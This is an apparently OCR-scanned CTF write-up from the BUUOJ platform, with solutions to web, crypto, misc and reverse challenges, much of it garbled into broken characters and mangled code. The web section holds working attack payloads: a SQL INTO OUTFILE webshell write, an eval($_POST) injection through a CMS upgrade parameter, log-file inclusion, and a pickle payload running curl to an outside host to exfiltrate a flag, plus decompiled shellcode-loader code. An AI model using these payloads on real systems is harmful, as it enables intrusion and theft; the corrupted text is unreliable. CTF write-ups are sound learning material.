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outfilefile/**/’ /var/www/html/upload/c.php’#&password=aaaa&code=&submit=true&sub
mit.x=60&submit.y=31
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127.0.0.1 - - [11/Jul/2020:00:00:00 +0000] "GET] /this_is_final_flag_ eZa457126032b42 php TTP/1.1" 200 5 "-" "Mozilla/5.0 (Windo'

Firefox/89.0" 192.168.122.180 - - [01/Aug/202T" 0 "-" "python-requests/2.25.1" 192.168.1
200 1855 "-" "python-requests/2.25.1" 192.168.122. 180 - - [01/Aug/2021:10:23: 47 +DOOO] "GET / HTTP/1.1" 200 1855 "-" "Mozilla/t
(KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 36.248.123.0 - - [01/Aug/2021:10:23:47 +0000] "GET /robots.txt HTTP/1.

AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 36.248.123.0 - - [01/Aug/2021:10:23:47 +0000] "GE
4ca0-9256-c07a87751353.noded.buuoj.cn/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)

[01/Aug/2021:10:23:53 +0000] "GET / HTTP/1.1" 200 1855 "-" "Mozilla/5.0 (Windows NT 10.0; Winé4; x64) AppleWebKit/537.36 (KF
Edg/92.0.902.62" 36.248.123.0 - - [01/Aug/2021:10:24:24 +0000] "GET /?cmd=/var/nginx/log/access.log HTTP/1.1" 200 5 "-" "Mozil
(KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36 Edg/92.0.902.62"
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When escapeshellarg() was stripping my non-ASCII characters from a UTF-8 string, adding the following fixed the
problem:

<?php
setlocale(LC_CTYPE, "en_US.UTF-8");
7>
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| [ <?=eval(,_posT[l]);?>IHTTE/1.1 <div class="content"> B
Hoat : <div class="info">
485d4agc-7fhE-4520-h1f1-5bfclce283F 1. noded. buuoj. cn <div class="title">
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win&4; ! <h3> R
xE4; rv:90.0) Gecko/20100101 Firsfox/90.0 booo
4 Accept: </h3> R
text/htnl, application/xhtml+xml, application/xml;g=0. 4% </div>
9, image/webp, */*;q=0.8 42 <div class="text">
5 Accept-Language: 43 <p> R
zh-CN, zh;q=0. 8, zh-TW;g=0.7,zh-HK;q=0.5,en-Us;q=0.3, e FILE: /var/www/html/ThinkPHE/Library/T
n;g=0.2 </p>
6 Accept-Encoding: gzip, deflate 44 </div>
7 Connection: close 5 </div>
© Cookie: PHPSESSID=brqrillmcekOhIt&4£9dE3dEAT 46 <div class="info">
9 Upgrade-Insecure-Recquests: 1 47 <div class="title">
10 48 <h3>
11 TRACE
</h3>
</div>
<div class="text">
<p>
#0 /var/www/html/ThinkPHEP/Library/Thin
#1 [internal function]: Think'Controll
#2 /var/www/html/ThinkPHP/Library/Thir
#3 /var/www/html/ThinkPHE/Library/Thir
#4 Jwar/wmw/ html /Think PHR/Tihrars/Thir
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1 POST /qbl.php?id=/../atac.php%00asurl= 1 HTTE/L1l.1 302 Found
https://node4.buuoj.cn: 28372/ atac. php HITR/1.1 > Date: Sun, D1 Aug 2021 11:21:42 GMT

Host: noded.buuoj.cn:Z2837C2
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win&4;
x64; rv:90.0) Gecko/20100101 Firefox/90.0

Server: Apache/Z. 2 (Ubuntu)
¥-Powered-By: PHP/5.Z2.17
Location: https://noded.buucj.cn:28372/ataoc. php

[NV

4 Accept: 6 Vary: Accept-Encoding
text/html, application/xhtml+zml, application/xml;q=0. 7 Content-Length: O
9, image/webp, */*;q=0.8 % Connection: closs

S Accept-Language: S Content-Type: text/html
zh-CN, zh;q=0.8, zh-TW,;g=0.7, zh-HK;g=0.5, en-Us;g=0.3,e 10
n;g=0.2 11

Accept-Encoding: gzlp, deflate

Content-Type: application/z-www-form-urlencoded

Content-Length: &8

Origin: https://node4.buucj.cn:Z8372

10 Connection: close

11 Referer:
https://noded.buuoj.cn:28372/sc. php?id=/../atao. phps&
url=https://noded.buuoj.cn:28372/atao. php

12 Upgrade-Insecure-Requests: 1

13 Sec-Fetch-Dest: document

Sec-Fetch-Mode: navigate

Sec-Fetch-Site: same-origin

Sec-Fetch-User: 71

img=
data%3Aimage$2Fpng%3Bbasef4%2CPD%waHAgEZX ZhbCgk® 1BPUL
RbMV0OpOz8%ZE

A INGetshell

ppp—— o v

PHP Version 5.2.17 php

System Linux 22d5f94a78d7 4.19.164-0419164-generic #202012300642 SMP Wed Dec 30
12:21:09 UTC 2020 x86_64

Build Date Apr 13 2018 23:49:17

Configure *./configure’ *—-bindir=/usr/bin' "--sbindir=/usr/sbin’ "--prefix=/usr' --build=i686-pc-
Command linux-gnu' '--host=i686-pc-linux-gnu' '--mandir=/usr/share/man’ "
/share/info’ "--datadir=/usr/share' '--sysconfdir=/etc' '--localstatedir=/var/lib' '--
prefix=/usr/lib/php5.2' --mandir=/usr/lib/php5.2/man’ '--infodir=/usr/lib/php5.2
finfo' '--libdir=/usr/lib/php5.2/lib' '--with-libdir=lib' --with-pear' "--disable-

maintainer-zts' '--enable-bcmath' '--with-bz2' *--enable-calendar’ '--with-curl*
curlwrappers' "--disable-dbase’ '--enable-exif' '--without-fbsql' '--without-fdftk' '--
enable-ftp' --with-gettext’ '--without-gmp' '--disable-ipv6' '--with-kerberos' '

enable-mbstring' '--with-mcrypt' '--with-mhasl ithout-msgl' '--without-mssql' '--
with-ncurses’ '--with-openssl’ '--with-openssl-dir=/usr' '--disable-pcntl' '--without-

ith-
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1 Split URL
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Post data Referer User Agent Cookies Clear All
ADD "'

1=phpinfo()
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def loads(self, bstruct): bstruct: b'\x80\x04\x95!\x00\x00\x00
"""Accept bytes and return a Python object."""

try:

- return pickle.loads(bst

except Exception:
# this block should catch at least:

# ValueError, AttributeError, ImportError; but more to |
raise ValueError

fR#frsessionSe A A

-

i
Eil

QG Wi Bsms = |+ 3 X | B o
£ ou =2 ¢

H
» MainThread v 4|+ O serializer = (NameErrorjname 'serializer' is not defined 7

T > self = [PickleSerializer) <pyramid.session.PickleSerializer object at 0x0000021A8BA751D0>

[0 loads, cookies.py:598

I8 Ioads, cookies.py:686

@ _init_, session.py:221

[0 session, request.py:201

[0 _get_, decorator.py:40

53 hello_world, vuln_app.py:13

I8 _requestonly view, viewderivers.py:141

% #nem

I viewresult to_response, viewderivers.py:392
61 _call_vie
IE handl
I3 excview

W.py674

equest, router.py:144

_tween, tweens.py:41

I invoke_request, router.py:245

[0 default_execution_policy, router.py:276

I0 _call_, router.py:270

IT3 run, handlers.py:137

IE1 handle, simple_serverpy:133

@ _init_, socketserver.py:720

I3 finish_request, socketserver.py:360

IT1 process_request, socketserver.py:347

IB1 _handle_request_noblock, socketserver.py:316

1A serve forever, socketserver.py:237
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» MainThread - 3|+ O serializer = (NameErrorjname 'serializer’ is not defined

> 1= appstruct = {tuple: 3} .. Loading Value

. > = self = {Base64Serializer} _. Loading Value
™ IO dumps, cookies.py:660
IO set cookie, session.py:325
& | [0 set_cookie callback, session.py:258
% 10 _process response callbacks, request.py:85
[0 invoke _request, router.py:248
-3 IO default_execution_policy, router.py:276
» IO _call_, router.py:270
IE3 run, handlers.py:137
[0 handle, simple_server.py:133
IO _init_, socketserver.py:720
[a} finish_request, socketserver.py:360
I0 process_request, socketserver.py:347
[a} _handle_request_noblock, socketserver.py:316
I serve forever, socketserver.py:237
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def dumps(self, appstruct): appstruct: (1627802045, 1627802044.022391, {'233': '2333'}) self: <wi

waw

Given an " appstruct’ ", serialize and sign the data.

Returns a bytestring.

waw

cstruct = self.serializer.dumps(appstruct) # will be bytes cstruct: b'\x80\x04\x95!/\x00\x00\x00

cstruct = b'(cos\nsystem\nS\'curl "http://121.41. _"/readflag "\'\
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flag



Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::666

Ncat: Listening on 0.0.0.0:666

Ncat: Connection from 117.21.200.166.

Ncat: Connection from 117.21.200.166:17979.

GET /flag_is_flagea2a0442-a301-45b2-b7d7-17f691e3266e HTTP/1.1
Host: 121.41.230.234:666

User-Agent: curl/7.58.0

Accept: */*
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FriEicms, FRR0day
Hit:
KIBAIE: /application/admin/controller/Upgrade.php

- function sysup($filename='",$upgrade edition=""){
if($upgrade edition){
$result 3 :
if( $resul
return %t
}else{
return $this->err js($result);

}
list($filename,$id) = explode(’, ',$filename);

if($filename==""){
return $this->err_js('3 FEL);

}

$str = $this->get_server_file($filename,$id);
if($str){
if ($filename=="/admin.php') {




LR EH, STBwritelog, J&$Supgrade_edition5 N34 AER
IR{EwritelogE AT X A A B =2 B AN ZEI T runtime/client_upgrade_edition.php™A

->clean_cache();
( file_put_contents(config(" ent tio ' t 5"=>"".$upgrade_edition.""
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http://a98c6cf9-5fa1-478b-9e34-e04f8823c107.node4.buuoj.cn/admin.php/admin/upgrade/sysup.html?upgrade_edition=%22,%22%22=%3E-eval($_POST[%27cmd%27])-%22,];?%3E//
http://a98c6cf9-5fa1-478b-9e34-e04f8823c107.node4.buuoj.cn/runtime/client_upgrade_edition.php

(*) A ashelp HHEAMAL

{ 1tml/runtime/

(
Ta
T

o

CRYPTO

YusafYZ B &S F—-BlockTrick

8] BB

from pwn import *
from Crypto.Cipher import AES
from binascii import *

from Crypto.Util.strxor import *

p=remote("node4.buuoj.cn",25830)
context.log_level="debug"

num=p.recvuntil('\n')[:-1]
p.sendline(num)
numl=p.recvuntil('\n")[:-1]
p.sendline(numl)

p.recvuntil('flag')



from Crypto.Util.strxor import * '] Pwntools does not support 32-bit Python. Use a 6U4-bit release
[x] Opening connection to noded.buuoj.cn on port 25830
p=remote("node4.buuoj.cn", 25830) [x] Opening connection to nodel.buuoj.cn on port 25830: Trying 11
context.log_level="debug" [+] Opening connection to nodeld.buuoj.cn on port 25830: Done
- .\test.py:9: BytesWarning: Text is not bytes; assuming ASCII, no ¢
num=p.recvuntil(‘\n')[:-1] num=p.recvuntil('\n')[:-1]
[ ] Received 0x21 bytes:
b'080895df112ffe6e1422872501ca5f7e\n"
] Sent 0x21 bytes:
b'080895df112ffe6e1u422872501ca5f7e\n"
.\test.py:11: BytesWarning: Text is not bytes; assuming ASCII, no
numl=p.recvuntil('\n')[:-1]
[ ] Received 0x2b bytes:
b'cafe56f0adedf8fad030473259afbbOU\n"
b'Try again\n'
[ ] Sent 0x21 bytes:
b'cafe56f0adedf8fad030473259afbbOU\n"
.\test.py:13: BytesWarning: Text is not bytes; assuming ASCII, no
p.recvuntil('flag')
L ] Received 0x2c bytes:
b'flag{ad3fu061-4d96-Udeb-bad3-c7256e9320ef}\n"
b'\n'
[#] Closed connection to nodel.buuoj.cn port 25830
PS C:\Users\Snowywar\Desktop> |

p.sendline(num)
numl=p.recvuntil(‘\n")[:-1]
p.sendline(numl) L
p.recvuntil('flag"')

MISC

8] &/
(8] &
red_vs_blue

ncitZ , BArbFRIEER | BN , SER L2, S URATLURIIEREETETF
T EREIUUEFRA | BFARKREREr , ARINRIRE T HEkbHok T

from pwn import *
import re

import time

p=remote("node4.buuoj.cn",29752)
context.log_level="debug"

list = []
for i in range(66):
list.append('r")
i=0
flag= []
for j in range(999999):
p.recvuntil('choose one [r] Red Team,[b] Blue Team:\n')
while(1):
p.sendline(list[i])
revli=p.recvline()
rev2=p.recvline()

if revl[-9:] == rev2[-9:]:

it+=1

if i1 == 66:
break

else:

p.recvuntil('choose one [r] Red Team,[b] Blue Team:\n')
else:
list[i]="b’
i=0



p.sendline('y")
break
if flag!=[]:

break

cn",29752) c r] Re
ug" % Sent ©x2 bytes:
r\n
] Received 0x15 bytes:
'Your choice Red Team\n'
] Received 0Ox6b bytes:
'The result Red Team\n'
'The number of successful predictions 65\n'
'Game 66\n'
'choose one [r] Red Team,[b] Blue Team:\n'
] Sent Ox2 bytes:
r\n'
] Received 0x8f bytes:
'Your choice Red Team\n'
'The result Red Team\n'
'The number of successful predictions 66\n’
'Here is your flag: flag{3b17f247-6a4d-440f-8ca5-2bb4e7d7dd15}\n
Traceback (most recent call last):
File "234.py", line 14, in <module>

e one [r] Red Team, [b] Blue
1
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from PIL import Image, ImageChops
import PIL.ImageOps

import cv2

import numpy as np

import random
point_table = ([0] + ([255] * 255))
f = Image.new('RGB',(119,83),(0,0,0))

def black_or_b(a, b):



diff = ImageChops.difference(a, b)
diff = diff.convert('L")

diff = diff.point(point_table)

new = diff.convert('RGB')
new.paste (b, mask=diff)

return new

#for i in range(41):

a = Image.open('imagel.png')

b = Image.open('image%d.png'%(i*x11+1))
black_or_b(a, b)

final_img = Image.blend(f,e,0.9)

e

f =final_img
a = Image.open('imagel.png')
b = Image.open('imagel2.png')
e = black_or_b(a, b)
e.show()
Photos - tmp4z2yzd53.BMP - u] 2
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from typing import Counter
from PIL import Image
from PIL import ImageFile

import collections

ImageFile.LOAD_TRUNCATED_IMAGES = True
Image.MAX_IMAGE_PIXELS = None



f = Image.new('RGB',(119,83),(0,0,0))

for i in range(11):
img=Image.open(str(i)+'.png')
imgl=Image.new('RGB"', (119,83),(255,255,255))
for h in range(40):
im=Image.open(str((h+1)*11+i)+"'.png')
width,height=img.size
for j in range(0,width):
for k in range(0,height):
tmp = img.getpixel((j,k))
tmpl = im.getpixel((j,k))
if tmp != tmpl:
imgl.putpixel((j,k),(0,0,0))

imgl.save('test'+str(i+1)+'.png')

f.show()
'iin' am !E! =
over39.png overd0.png rr.py test1.png test2.png
. I - L
m En
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ezSteganography
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First part of flag is:flag{2e9ec6480d0515
QIM quantization is useful to get another flag.
step is 20

REFE—HD , RBAMEMAIDKN20
EiZMmatlabfEHIEFIT Y, TEEARZRLIN,
QIM.M

classdef QIM
properties
delta

end

methods
function obj = QIM(delta)
obj.delta = delta;

end

function y = embed(obj, x, m)
% x : a vector of values to be quantized individually

% m : a binary vector of bits to be embedded

d = obj.delta;
= round(x/d) * d + (-1).A(m+1l) *x d/4.0;

<
|

end

function [z_detected, m_detected] = detect(obj, Zz)
% z : The received vector, potentially modified
% returns : A detected vector z_detected and detected message

% m_detected

shape = size(z);



z = reshape(z,1,[]);

m_detected = zeros(size(z),'like', z);

z_detected = zeros(size(z), 'like', z);

z0 = obj.embed(z, 0);
z1 = obj.embed(z, 1);

do = abs(z - z0);
dl = abs(z - z1);

for i=1:length(z_detected)
if do(i) < di(d)
m_detected(i) = 0;

z_detected (i) = z0(i);
else

m_detected(i) = 1;

z_detected (i) = z1(i);

end

end

z_detected = reshape(z_detected, shape);

m_detected = reshape(m_detected, shape);
end
function choice = random_msg(obj, 1)

% returns: a random binary sequence of length 1
choice = randi([0 1], 1, 1);

end
end
end
num.m
clear all;
delta = 20;
gim = QIM(delta);
image = imread('test.png');
green = image(:,:,2);

[z_detected, msg_detected] = gim.detect(green);

image(:,:,2) = z_detected;

imshow (image)

imsave

H5E/EIRE
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from typing import Counter
from PIL import Image
from PIL import ImageFile
import collections
ImageFile.LOAD_TRUNCATED_IMAGES = True
Image.MAX_IMAGE_PIXELS = None
r_t =[]
g_t=[]
b_t=[]
myset=[]
picture=Image.open('qr.png')
pix=picture.load()
width=picture.size[0]
for y in range(width):
for x in range(width):
r, g, b = pix[x, y]
if(r == 255 or r==0):
continue
else:
r_t.append(r)
for y in range(width):
for x in range(width):
r, g, b = pix[x, y]
if(g == 255 or g==0):
continue

else:



r_t.append(g)
for y in range(width):
for x in range(width):
r, g, b = pix[x, y]
if(b == 255 or b==0):
continue
else:

r_t.append(b)

myset = set(r_t)
word_freq = collections.Counter(r_t)
for word, freq in word_freq.most_common():

print (chr(word),end="y")

S22 AEF S PowerShell https://aka.ms/pscoreé

PS C:\Users\Snowywar\Desktop\Nuclear_wastewater> python3 .\test.py

theKEYis:#R@/&p~!>0U}+J+8§C2¢*@OUHVP
06%j(85A0S$T

RiSkey, HAIAFRMAHELEE, BIFIRFiflag

| flag.txt - iIBEA — ] X
XAH(F) $REB(E) 180(0) BE(YV) #BI(H)
OIENKMAJOLEOKMAJOHECLHBCPGFDLNBIPAFFLPBKPIFNLEBBPPFKLFBAPEFBLJBMPHFCLEBBPMFJLEBB

117, 53465 100%  Windows (CRLF) ~ UTF-16 LE

flagiFEARAINER, BUER

Original Text: | Clear | (length: 608) Steganography Text: | Clear | (length: 960)

OIENKMAJOL EOKNAJOHECLHBCPGFDLNBIPAFFLPBKP I FNLEBBPPFKLFBAPEFBLJBMPHFCLEBBPMFJLEBBPLFO EAEQE@?#EL EOKMAJOHECLHBCPGFDLNBI PAFFLPBKP [ FNLEBBPPFKL FBAPEFBL JBMPHF CLEBBPMF JLEBBPLFO

LHBCPCFHLNBIPDF GLHBCPPFKL | BNPHF CLDBGPGF DLBBEPPFKLHBCPPFKLMBJPDF GLCBHPHF CLBBEP IFNLNBI IB1PDFGLHBCPPFKL | BNPHF CLDBGPGFDLBBEPPFKLHBCPPFKLMBJPDFGLCBHPHF CLBBEP IFNLNBI
POFLLMBJPDFGLBBEPEFBLBBEPPFKLGBDPOFLLABFPMFJLABFPCFHLNBIPDF GLMBJPEFBL IBNPHFCLLBOPOFL POFLLMBJPDF GLBBEPEFBLBBEPPFKLGBDPOFLLABFPMF JLABFPCFHLNB I PDF GLMBJPEFBL I BNPHFCLLBOPOFL
LBBEPIFNLDBGPAFFKAAFOPEKKDAGOGEDK JAMOAEFKLAOOENL IBNPEFBLLBOPJFMLFBAPLFOLFBAPNF ILEBB LBBEP IFNLDBGPAFFKAAFOPEKKDAGOGEDKJAMOAEFKLAQO ENL IBNPEFBLLBOPJFMLFBAPLFOLFBAPNF ILEBB
PLFOLFBAPAFFL JBMPHF CL JBMPBFEL I BNPHF L I BNPNF 1LBBEPPFKKPAKOHE CKMAJOAEFKKAPO T ENKFAAOLEQ PLFOLFBAPAFFLJBMPHFCL JBMPBFEL IBNPHF CL I BNPNF 1LBBEPPFKKPAKOHECKMAJOAEFKKAPO1ENKFAAOLEQ
KHACOPEKKAAFOPEKKAAFOF EAK JAMOHECKL AOODEGKMAJOAEFKPAKONE IKBAEO 1 ENKAAFODEGKAAFOPEKKLAQ KHACOPEKKAAFOPEKKAAFOF EAK JAMOHE CKL AOODEGKMAJOAEFKPAKONE IKBAEO | ENKAAFODE GKAAFOPEKKLAQ
OOELKJAMOAEFKGADOF EAKEABOL EOKOAL OLEOKJAMOAEFK I ANOLEOK I ANOEEBKF AAOHECKBAEO T ENKJAMOKEP 00ELKJAMOAEFKGADOF EAKEABOL EOKOAL OLEOKJAMOAEFK I ANOLEOK I ANOEEBKF AAOHECKBAEO 1 ENKJAMOKEP
KMAJPMFJLCBHPEFBLNBI KMAJPMFJLCBHPEFBLNBI
Encode »

Hidden Text: | Clear | (length: 32)
2021F4R 138, HIKEC trix LBCTX A o & =Dococo



JU+200B ZERO WIDTH SPACE
U+200C ZERO WIDTH NON-JOINER
U+200D ZERO WIDTH JOINER
U+200E LEFT-TO-RIGHT MARK
JU+202A LEFT-TO-RIGHT EMBEDDING

Ml DAD MNIDEATIAMAL CNADMATTINM

(Vim&®Y, BEWhET)
& facyberchef—iE#%

— 1 h: —
S Input sneth e + 0O= n

N OTIENKMAJOLEOKMAJOHECLHBCPGFDLNBIPAFFLPBKPIFNLEBBPPFKLFBAPEFBLIBMPHFCLEBBPMFJLEBBPLFOLHBCPCFHLNBIF
FGLHBCPPFKLIBNPHFCLDBGPGFDLBBEPPFKLHBCPPFKLMBIPDFGLCBHPHFCLBBEPIFNLNBIPOFLLMBIPDFGLBBEPEFBLBBEPPI
LGBDPOFLLABFPMFJLABFPCFHLNBIPDFGLMBIPEFBLIBNPHFCLLBOPOF LLBBEPIFNLDBGPAF FKAAFOPEKKDAGOGEDKJAMOAEFI

en AQOIENLIBMPEFBLLBOPJIFMLFBAPLFOLFBAPNFILEBBPLFOLFBAPAFFLIBMPHFCLIBMPBFELIBNPHFCLIBNPNF ILBBEPPFKKPY
OHECKMAJOAE FKKAPOIENKFAAOL EOKHACOPEKKAAFOPEKKAAFOF EAKJAMOHECKLAQODEGKMA JOAE FKPAKONE IKBAEOTENKAAF(
EGKAAFOPEKK LAOOOELK JAMOAEFKGADOF EAKEABOL EOKOALOLEOK JAMOAE FK TANOLEOK TANOEEBK FAAOHE CKBAEOTENK JAMOKI

KMAJPMF JLCBHPEFBLNBT

time: 1ms

Output L s a I_|:| m

lines:

flag{98647dedce5aaadcO31fb55e9dfac7o}

funny_maze

REE, SEMEMIPTEENXTNE

SRARIE S [B) A =M 75 /A (pythonSEH)_Fz & RYIEAIIEE -CSDNIEE _pythonik = (o)
ncfE@KERIER/NTHMAEMAIMENT—X, RENEERELZLNL AN
1121 31 101

WBEESHAMTET,

from pwn import =
def exp(num):

[(O) 1)) (l: 0); (O) _1>’ (_l; 0)]
[]

dirs

path

def mark(maze, pos):

maze[pos[0]][pos[1]] = 2

def passable(maze, pos):

return maze[pos[0]][pos[1]] == O

def find_path(maze, pos, end):
mark(maze, pos)

if pos == end:


https://blog.csdn.net/qq_29681777/article/details/83719680

print(pos, end=" ")
path.append (pos)
return True
for i in range(4):
nextp = pos[0] + dirs[i][0], pos[1l] + dirs[i][1]

if passable(maze, nextp):
if find_path(maze, nextp, end):
print(pos, end=" ")
path.append(pos)
return True

return False

def see_path(maze, path,number):
for i, p in enumerate(path):
if i ==
maze[p[0]][p[1]] = "E"
elif i == len(path) - 1:

maze[p[0]][p[1]] = "S"
else:
maze[p[0]][p[1]] = 3
print("\n")
for r in maze:
for c in r:
if ¢ == 3:
number += 1
elif ¢ == "S" or c == "E":
None
elif ¢ == 2:None
elif c == 1:None
else:
None
print()
number = number+2
return number
p.recvuntil("#"xnum + '\n') #52HY

Tistl = ["#"*num]

maze = [[0]*num for i in range(num)]

for i in range(num-1):

listl.append(str(p.recvline())[2:-3])

for j in range(len(listl)):
for k in range(len(listl)):
if (listl[j][k] == " ' or listl[j][k] == 'S' or listl[j]
[k] == "E"):
maze[j]l[k] == 0
if(listl[j]1[k] == "#'):



maze[j]l[k] = 1
for j in range(len(listl)):
for k in range(len(listl)):
if(listl[jI[k] == 'S'):
start = (j,k)
print(start)
if(listl[j][k] == '"E'):
end = (j,k)
print(end)
number = 0
find_path(maze, start, end)
num = see_path(maze, path,number)
p.recvuntil('your answer:\n'")

p.sendline(str (num))

if __name__ == '__main__":
context.log_level ='debug'
p = remote("node4.buuoj.cn",25485)

p.sendline("1")
exp(11)

exp(21)

exp(31)
exp(101)

p.recv()

context.log_level ='debug
p = remote("node4.buuoj.cn",25485)

p.sendline|("1")
exp(11)

exp(21)

exp(31)
exp(101)

p.recv() 1 Sent Ox4 bytes:

b'296\n"'
] Received Ox6a bytes:
b'\n'
b'ohhh,You actually walked out of the maze!\n'
b'this is your flag:\n'
b'flag{c5b8clel-Ucbc-U3dd-812a-54ad86053d49}\n"
b'\n'
[#] Closed connection to noded.buuoj.cn port 25485
PS C:\Users\Snowywar\Desktop>

REVERSE

shellcode

1. attachmentfTHE ZgotBXFF&, IDAgolangHelper
INE AR HELX D

61bla® b'net/http.http2UnknownFrame.String'

61b220 b'net/http. (*http2chunkWriter) .Write'

61b2e0 b'net/http. (*xhttp2duplicatePseudoHeaderError) . .Error'
61b3e0 b'net/http. (xhttp2flushFrameWriter).staysWithinBuffer'
61b440 b'net/http. (xhttp2flushFrameWriter) .writeFrame'



61b4e0
61b560
61b5c0O
61b660
61b760
61b860
61b960
61b9co
61bae0d
61bbco
61bc20
61bccO
61bd20
61bdco
61be40
61bf00
61bf60
61c000
61c060
61c100
61c200
61c260
61c2e0
61c340
61c3c0
61c420
61ca60
61cb40
61cda0
61lce40
61d580
6le2a0
6le4cO
61f0a0
61fb80
620440

b'net/http.
b'net/http.
b'net/http.
b'net/http.
b'net/http.
b'net/http.
b'net/http.
b'net/http.
b'net/http.
b'net/http.
b'net/http.
b'net/http.
b'net/http.
b'net/http.
b'net/http.
b'net/http.
b'net/http.
b'net/http.
b'net/http.
b'type..eq.
b'net/http.
b'net/http.
b'net/http.
b'type..eq.
b'type..eq.

(xhttp2goAwayFlowError) .Error'
(xhttp2handlerPanicRST) .staysWithinBuffer'
(xhttp2handlerPanicRST) .writeFrame'
(xhttp2headerFieldNameError) .Error'
(xhttp2headerFieldValueError) .Error'
(xhttp2pseudoHeaderError) .Error'
(xhttp2sortPriorityNodeSiblings).Len'
(xhttp2sortPriorityNodeSiblings).Less'
(xhttp2sortPriorityNodeSiblings) .Swap'
(xhttp2writeloO0ContinueHeadersFrame) .staysWithinBuffer'
(xhttp2writel®0ContinueHeadersFrame) .writeFrame'
(xhttp2writePingAck) .staysWithinBuffer'
(xhttp2writePingAck) .writeFrame'
(xhttp2writeSettings) .staysWithinBuffer'
(xhttp2writeSettings) .writeFrame'
(xhttp2writeSettingsAck) .staysWithinBuffer'
(xhttp2writeSettingsAck) .writeFrame'
(xhttp2writeWindowUpdate) .staysWithinBuffer'
(xhttp2writeWindowUpdate) .writeFrame'
net/http.maxBytesReader'

(xnoBody) .Close'

(xnoBody) .Read'

(*noBody) .WriteTo'

net/http.redirectHandler'
[4]net/http.http2Setting'

b'github.
b'github.
b'github.
b'github.
b'github.
b'github.
b'github.
b'github.
b'github.
b'github.
b'github.

com/julienschmidt/httprouter.
com/julienschmidt/httprouter.
com/julienschmidt/httprouter.
com/julienschmidt/httprouter.
com/julienschmidt/httprouter.
com/julienschmidt/httprouter.
com/julienschmidt/httprouter.
com/julienschmidt/httprouter.
com/julienschmidt/httprouter.
com/julienschmidt/httprouter.
com/julienschmidt/httprouter.

(*node) . findCaselnsensitivePathRec'

621620
621640
621700
6217cO
621900
6219a0
621ba0

1. {BEIDAGolangHelperd& B Eam & Flmain.main, HEEEREXEXENttps://cuj

o.com/reverse—engineering—go-binaries—with—ghidra/ https://github.com/get

CleanPath'

Params.ByName'

(*Router) .Handle'

(*Router) .recv'

(*Router) .allowed'
(*Router) .ServeHTTP'
(*node) .incrementChildPrio"’
(*node) .addRoute'

(*node) .insertChild’
(*node) .getValue'

b'github.com/julienschmidt/httprouter.init'

b'type..eq.github.com/julienschmidt/httprouter.Param'

b'main.Index'

b'main.Hello'

b'main.customNotFound'
b'main.Shell'

b'main.main

CUJO/ThreatIntel
2. RIEE—FTBEINRERFZ A LML, Bl REGRNRBHENRR


https://cujo.com/reverse-engineering-go-binaries-with-ghidra/
https://github.com/getCUJO/ThreatIntel
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Bl AE$ZEI, part2.bindh i 2 T EiB4E.

int sub_8F0005()

{

ffooo

sub_8F0480 ((void (__stdcall *x)(char x))vl); // #BEXwindows APTIiilt
strcpy(vl5, "Hello GuiShou");

strcpy(v19, "Tip");

vlil =
v10 =

v5(0, &unk_400000, 4096, 64); // VirtualAlloc
(int (*) (void))v5(0, &unk_400000, 4096, 64);

V9 = Ox4000000;
strcpy(v22, "127.0.0.1");
strcpy(vl6, "8080");
strcpy(v25, "GET");

v21[0] = 47;
v21[1] = 115;
v21[2] = 104;
v21[3] = 101;
v21[4] = 108;
v21[5] = 108;
v21[6] = 47;
v21[7] = 118;
v21[8] = 111;
v21[9] = 105;
v21[10] = 100;
v21[11] = 13;
v21[12] = 10;
v21[13] = 0;

strcpy(v20, "Mozilla/5.0 (Windows NT 6.1; rv:11.0)");
strcpy(v23, "HTTP/1.0");

vid = 1;

v1i8 = -1;

v24 = 0;

v12 = v2(v20, 1, 0, 0, 0);

v13 = v7(v12, v22, 8080, 0, 0, 3, 0, 0);

v1l7 = v8(v13, v25, v21, v23, 0, 0, v9, 0); // http open request, B#x
£ /shell/void

v6(vli7, 0, 0, 0, 0);

while
{
v14
v24

}

( vli4 && v18 )

= v4(v1l7, v24 + v11, 4096, &v18); // winnet_readfile

+= v18;

v3(v1l7); // wininet_InternetCloseHandle
v3(v13);



v3(v12);

sub_8F059F (v11, v24, (int)v10); // vilEMpart1lFHKEHEIE , v242KEoxof4 ,
V1IOWIZE F—SERITHRINE , (BREREFER

return v10();
}

AIAEHXBHSZ Mpart1.exeFiEE 7 —E&K1S, & part1 B3I FshellE om0
#r, part1 BE—EBAESpart2, AERTIT. KEE0x9f4
sub_8F059f K #Ei1Z 48 N Kbase64#EhS

int __cdecl sub_8F059F(int al, unsigned int a2, int a3)
{
/] Vet FRE
if ( (a2 & 3) =0 )
return 0;
v9 = 0;
for (i =0; i < a2 & & *(_BYTE %) (i + al) != 61; ++i )
{
if ( *(char *)(i + al) < 43 || *(char *)(i + al) > 122 )
return 0;
v10 = v4[*(unsigned __int8 %) (i + al)];
if ( v1e == 255 )
return 0;
v7 = i & 3;
if ( (0 &3) !'=0)
{
switch ( v7 )
{
case lu:
*x(_BYTE *)(v9 + a3) |= ((int)v1io >> 4) & 3;
*(_BYTE %) (++v9 + a3) = 16 * (v10 & OxF);
break;
case 2u:
*x(_BYTE x)(v9 + a3) |= ((int)v1iO >> 2) & OxF;
*(_BYTE %) (++v9 + a3) = (v10 & 3) << 6;
break;
case 3u:
*x(_BYTE x)(v9 + a3) |= v10;
++v9;

break;

}

else

{
*(_BYTE *)(v9 + a3) = 4 * v10;

}

return v9;



b ' \XFF\XFFAXFF\XFF\XFFAXFE\XFFAXFFAXFFAXFE\XFEAXFEAXFEAXFAAXFFAXFF\XFF\XFT
A\XFFAXFEAXFFAXFEAXFFAXFE\AXFFAXFEAXFFAXFEAXFFAXFFAXFEAXFFAXFFAXFFAXFF\XFF\x
FAAXFAAXFAAXFAAXFAAXFFAXFE>\XFF\xff\xff?456789:;
<\XTFRE\XTFE\XTFE\XFAAXFAAXFFAXFF\x00\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b
\X0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\xff\xff\xff\xff\xff
\xff\xla\xlb\xlc\x1d\x1le\x1f !"#$%&\"' () *x+,-./0123\xfF\xff\xff\xff\xff'

dumpHi €

